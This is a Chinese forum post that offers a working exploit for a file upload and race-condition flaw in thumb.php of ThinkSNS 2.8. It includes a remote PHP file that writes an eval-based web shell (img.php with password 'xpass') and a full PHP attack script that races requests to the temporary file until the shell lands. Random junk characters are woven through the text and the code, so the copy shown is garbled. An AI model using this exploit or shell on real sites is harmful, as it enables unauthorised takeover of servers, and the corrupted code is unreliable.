找回密码
 立即注册
查看: 2578|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
' X. t' H7 O! o2 X" p! r4 C" x存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)0 H9 j( Q0 `+ |
漏洞文件
! H- F$ ~2 X2 O& a- v存在漏洞的文件为:thumb.php
3 v: e; e8 P7 Y8 T6 X: y2 o作者:韦鲲鹏
" I' i9 `4 R" B' z- l+ G: V1、        准备如下PHP文件并上传到服务器(自己的)。4 @7 Q+ T( l4 _1 q4 R) \: k
文件内容如下:; |# x8 \+ [5 U' G
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
8 g; E3 X6 ~/ \2、        计算出临时的文件名:! i& l$ v* R  k
这里我们可以看文件的99行(刚刚是不是没注意呀!)。' @- j8 s8 z) z5 [1 @4 v
, a6 Q9 o* B/ N8 I8 _5 o. Z
3、        上传临时文件。* N4 T0 k& S& f2 L- E
4、        访问临时文件。6 R# F0 e6 f( ~/ r
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)2 i7 k" B: u9 |7 g6 V5 _
Exploit文件内容如下:(这个我就不详细解释了)
8 q+ R4 A: }8 F: z6 t<?php& h$ Z$ z, U# Z1 ~" R
error_reporting(0);
! v: s4 v) B6 I8 L; b% Y! dset_time_limit(0);
4 |1 n. I+ f5 N8 t7 [* kini_set(“default_socket_timeout”, 5);
; @$ |- j6 @: ?* [, M+ G+ P  ?' Dfunction http_send($host, $port, $headers) {
1 Z9 M& Q0 N* G- b2 b0 P$fp = fsockopen($host, $port);" k" p4 T) }" J. L2 s4 c4 s9 v; _5 ]; O
if (!$fp) die(‘Connection -> fail’);
- S% r% ^3 C" o( kfputs($fp, $headers);/ _$ o! g2 ~$ `2 h8 y  |
return $fp;$ V+ z8 p" ?: s
}
+ z8 b. z% m; H* H! mfunction http_recv($fp) {
0 w1 w+ p$ x: N8 K9 L) Z% v$ret=”";
2 r4 ^$ g% O% `while (!feof($fp))
' B- ]* q* C8 ?8 t$ret.= fgets($fp, 1024);/ f! @+ W, u0 a2 b* [. j( F
fclose($fp);
" q: J0 ~$ l* A; u/ x" x7 o. a8 Lreturn $ret;
4 A' B* n, _; U7 N}* m1 u& A( m" Z( b- U
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
3 Q; {& ]3 q' S: Wprint “# Discovered by 韦鲲鹏 #\n\n”;/ l' F, s' r9 w+ d$ G
if ($argc < 4) {' S2 a; F1 N) o) U
print “Usage:   php <host> <path> <romote_url>\n”;6 R* n" h4 n$ f) T, w) U# F
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;% }! Z: |) R2 M9 I. ~! }" S- W2 W* A
die();$ Y) G$ l0 @2 y8 c' E5 S
}+ \$ w' j4 u& O
$host = $argv[1];
" H; _. K8 L0 I& t$path = $argv[2];4 o* ~, F/ I. {6 |
$url = $argv[3];" `5 B" @" H/ r5 j
$i=0;% v. C3 E+ d+ O* F/ l- l$ ?! x
//上传数据包2 M. d! G& N- b6 n0 C2 j) q
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
: i9 `+ t# T: C7 k7 [; k( l) P$headers_up .= “Host: “.$host.”\r\n”;
# {4 P& u) u2 f$ r5 `& }$headers_up .= “Connection: close\r\n\r\n”;
7 \; W7 F& X' K' Xecho $headers_up;
/ S% Q( S7 ~8 n4 D  R//临时文件访问数据包
+ h) F: z, B& H5 v1 n$ d$ D- ]: @$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;  A! l9 I/ e1 D, q/ q2 n& U, H! o& |
$headers .= “Host: “.$host.”\r\n”;6 w$ B& U9 z9 z/ i/ L( \9 |& U
$headers .= “Connection: close\r\n\r\n”;
7 N: M& y; d# j' @$ h8 |echo $headers;
5 I. J7 X. l' ~/ r& s2 zwhile(++$i<10) {
' [8 p& q; X6 X$ m$ Nfclose(http_send($host, 80, $headers));
  y- V& K5 m# {" {1 U! m9 H}& ~9 }6 D, t0 e9 S8 M# l
fclose(http_send($host, 80, $headers_up));
( N- L. T6 D5 R1 zwhile(++$i<50) {
4 Q+ R8 e& o5 Y1 f2 ]fclose(http_send($host, 80, $headers));. s* N6 B/ C& O/ j4 j1 Y- C
}$ F, x1 e7 I3 D: e
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
3 j" ?9 z/ v# ]" M4 I8 h3 t7 j" o$headers .= “Host: “.$host.”\r\n”;
. p  [. \# Y7 ]) x3 S7 C# G$headers .= “Connection: close\r\n\r\n”;
0 L3 H$ o" X& _1 e3 e0 S8 k$res=http_recv(http_send($host, 80, $headers));# c' z0 q) {. o: {
if(preg_match(‘/200 OK/’,$res)) {6 a9 K; w" d, @8 E
print “Success!\n\n”;
$ p1 E& o% }7 D% w7 d} else {
/ {0 ^7 s3 E4 V( g! R: W3 _$ K# pprint “Fail!\n\n”;
8 |, z2 W9 e( ~% d5 |}4 P. S% `" Z" X; @; E! V
?>
4 e, w3 j' f0 w2 H) j# l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表